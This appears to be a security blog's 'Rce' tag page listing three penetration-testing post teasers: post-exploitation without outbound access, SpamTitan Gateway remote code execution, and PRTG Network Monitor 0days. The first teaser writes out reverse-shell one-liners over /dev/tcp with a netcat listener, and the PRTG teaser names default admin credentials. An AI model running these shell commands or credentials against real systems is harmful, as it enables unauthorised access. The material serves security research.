Rce

No Egress, No Shell, No Problem

26 June 2025 ~4 min By Adriaan Bosch
Post-Exploitation Shell Tool Post Exploitation Rce
Context, context, context; Alright, imagine this – you’re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE). Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple: sh -i >& /dev/tcp/10.0.0.22/4678 0>&1 Then listen in and… nc -lvnp 4678 ... Huh? Sorry, I mean run this, and… 0<&196;exec 196<>/dev/tcp/10.0.0.22/4678; sh <&196 >&196 2>&196 …and…

Clash of the (Spam)Titan

14 July 2020 ~12 min By Felipe Molina
Rce Source Code Review
I recently tested an Internet facing Anti-Spam product called SpamTitan Gateway. As you could infer from the name of the product, this platform’s purpose was to detect Spam and or other malicious software sent via email. It has a lot of other features too as you could imagine from this type of product. In this post I will detail some vulnerabilities I discovered that ultimately lead to the ability to have unauthenticated remote code execution.

Being Stubborn Pays Off pt. 2 – Tale of two 0days on PRTG Network Monitor

22 May 2020 ~9 min By Javier Jimenez
0day Exploit Development Webapps Dos Monitor Network Poc Proofofconcept Prtg Prtg Network Monitor Rce Shodan
Intro Last year I wrote how to weaponize CVE-2018-19204. This blog post will continue and elaborate on the finding and analysis of two additional vulnerabilities that were discovered during the process; one leading to an arbitrary write as system where the contents can’t be fully controlled and the other leading to Remote Code Execution as SYSTEM. Both vulnerabilities require you to have the administrator password for PRTG Network Monitor. Often you just get lucky, as the software defaults to prtgadmin:prtgadmin for the username and password respectively.